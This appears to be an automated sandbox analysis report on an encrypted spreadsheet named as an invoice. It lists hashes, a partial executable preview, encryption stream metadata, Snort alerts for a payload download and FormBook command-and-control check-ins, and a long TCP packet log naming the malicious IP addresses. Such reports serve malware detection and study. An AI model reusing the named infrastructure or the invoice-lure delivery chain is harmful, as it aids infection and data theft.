SHA-512:	A83CD1E1091B80FD2868232C0FEC244C92F2A8626C92B21E1BF6F186DA616FAE5874609CE27C39A3F6AE70CCCE143C1E282FA78E2D21FBFB04B6693CD06FED7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P.................. ... ....@.. .......................`............@.................................d...O.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........C..$\...............b...........................................0............(....(..........(.....o..........................( ......(!......("......(#......($....N..(....op...(%....&..(&.....s'........s(........s)........s........s+............0...........~....o,....+...0...........~....o-....+...0...........~....o.....+...0...........~....o/....+...0...........~....o0....+..&..(1.......0..<........~.....(2.....,!r...p.....(3...o4...s5............~.....

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.9966042645036755
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	0113 INV_PAK.xlsx
File size:	2298880
MD5:	2fd9077e801ebc26d370c3b6798dd9c4
SHA1:	5638f179b275bc14326c54bb2ffc038975a8288f
SHA256:	1386b172ed5a75548288ebf6277603a5743dfc2cd42d6de3a57ff1418f7c0fb8
SHA512:	399a0fc833f56c23ce849627013ba28b794ea97304949a1edcae0631d8d4dac8bec1077578641411d8939f1127086363e6fb0f5950d3e674d0de9fd6b0cd64dc
SSDEEP:	49152:CHMmsP/MNOTC0Xjb64IX0s63RHGE4V3mkv3lyCO5ORwcOJf:icMc+m+4IX0s+GE4V/v3FMf
File Content Preview:	........................>...................$...................................................................................\|.......~...............z.......\|.......~...............z.......\|.......~...............z......................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "0113 INV_PAK.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2276632

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	2276632
Entropy:	7.9999064044
Base64 Encoded:	True
Data ASCII:	. . " . . . . . . . . . . s . 2 . . t . \\ F h 0 . . C . \| e z . . . B . . . . g . . . . Z 7 . $ M ? h = . r . . . \| B . Y . u . . . . \| . . . . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2 , . } . A . B R . . . c I . I 2
Data Raw:	0a bd 22 00 00 00 00 00 93 8f 0a 09 b7 73 8b 32 d8 b1 74 09 5c 46 20 68 30 d1 fe 43 f9 7c 65 7a 95 1c da 42 89 a4 97 d9 67 95 c5 1d b2 5a 37 1f 24 4d 3f 68 3d bb 72 f9 dd b4 7c 42 f8 59 82 75 ea fd d4 aa 7c 19 eb d8 d4 8f c0 63 49 0d 49 32 2c af 7d 95 41 c4 42 52 d4 8f c0 63 49 0d 49 32 2c af 7d 95 41 c4 42 52 d4 8f c0 63 49 0d 49 32 2c af 7d 95 41 c4 42 52 d4 8f c0 63 49 0d 49 32

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.5666325917
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . 8 . u . . . . . . C . . . 1 . . . k . . . . . . . . . I # . . . . . . . . U < : . V 1 . . . . D ? . . 8 Y . . . P d . K . R H R ; . .
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/27/21-07:30:04.721498	TCP	2022550	ET TROJAN Possible Malicious Macro DL EXE Feb 2016	49165	80	192.168.2.22	103.141.138.125
01/27/21-07:31:11.466603	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49166	34.102.136.180	192.168.2.22
01/27/21-07:31:21.841069	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49167	80	192.168.2.22	208.91.197.91
01/27/21-07:31:21.841069	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49167	80	192.168.2.22	208.91.197.91
01/27/21-07:31:21.841069	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49167	80	192.168.2.22	208.91.197.91

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 07:30:04.499723911 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:04.720243931 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:04.720494986 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:04.721498013 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:04.945147038 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:04.945207119 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:04.945242882 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:04.945281982 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:04.945513964 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:04.947118044 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.167690992 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167731047 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167752028 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167841911 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167870998 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167903900 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.167967081 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.168020010 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.168859005 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.168888092 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.168926954 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.168951988 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.389799118 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389833927 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389849901 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389867067 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389883041 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389902115 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389914989 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389925957 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389939070 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389950991 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389965057 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.389987946 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.390000105 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.390011072 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.390022993 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.390034914 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.390206099 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.390369892 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.392321110 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610302925 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610347033 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610363960 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610378981 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610400915 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610426903 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610450983 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610471964 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610491991 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610512972 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610527039 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610543013 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610553980 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610559940 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610580921 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610600948 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610600948 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610621929 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610636950 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610641956 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610661983 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610668898 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610682011 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610702038 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610702038 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610728025 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610733032 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610752106 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610760927 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610771894 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610786915 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610791922 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.610820055 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.610848904 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.614162922 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830415964 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830451012 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830463886 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830476999 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830488920 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830501080 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830513954 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830526114 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830538988 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830555916 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830568075 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830640078 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830658913 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830674887 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830692053 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830708027 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830729961 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830746889 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830763102 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830777884 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830786943 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830794096 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830810070 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830823898 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830826044 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830842018 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830842972 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830861092 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830873966 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830878973 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830897093 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830904007 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830914021 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830930948 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830940008 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830943108 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830960035 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.830970049 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.830976009 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.831002951 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.831027985 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.833921909 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.833961010 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.833971977 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.833983898 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.833996058 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834036112 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834055901 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834068060 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834085941 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834103107 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834119081 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834125996 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.834136009 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:05.834161997 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.834225893 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:05.834650993 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.050873995 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050909996 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050923109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050934076 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050945044 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050973892 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.050992966 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051017046 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051032066 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051048994 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051064968 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051080942 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.051235914 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.052197933 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.054763079 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057189941 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057219028 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057231903 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057245970 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057259083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057271004 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057284117 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057295084 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057311058 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057323933 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057336092 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057353020 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057368994 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057420969 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057437897 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057437897 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057452917 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057468891 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057470083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057487011 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057491064 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057498932 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057498932 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057507992 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057512045 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057528019 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057538986 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057549000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057550907 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057568073 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057586908 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057589054 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057604074 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057614088 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057621002 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057632923 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057638884 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057650089 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057667971 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057674885 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057684898 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057703018 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057714939 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057724953 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057725906 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057739019 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057750940 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.057780981 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057790041 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.057826042 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.058537960 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271106958 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271162033 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271202087 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271239996 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271260977 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271311998 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271318913 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271323919 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271487951 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271541119 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271620989 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271661043 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271667004 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271697998 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271711111 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271735907 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271740913 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271773100 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271800041 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271816015 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.271821022 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.271866083 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.272917986 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.272964954 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.272980928 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273004055 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273009062 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273046970 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273111105 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273149967 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273188114 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273205996 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273224115 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273227930 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273267984 CET	49165	80	192.168.2.22	103.141.138.125
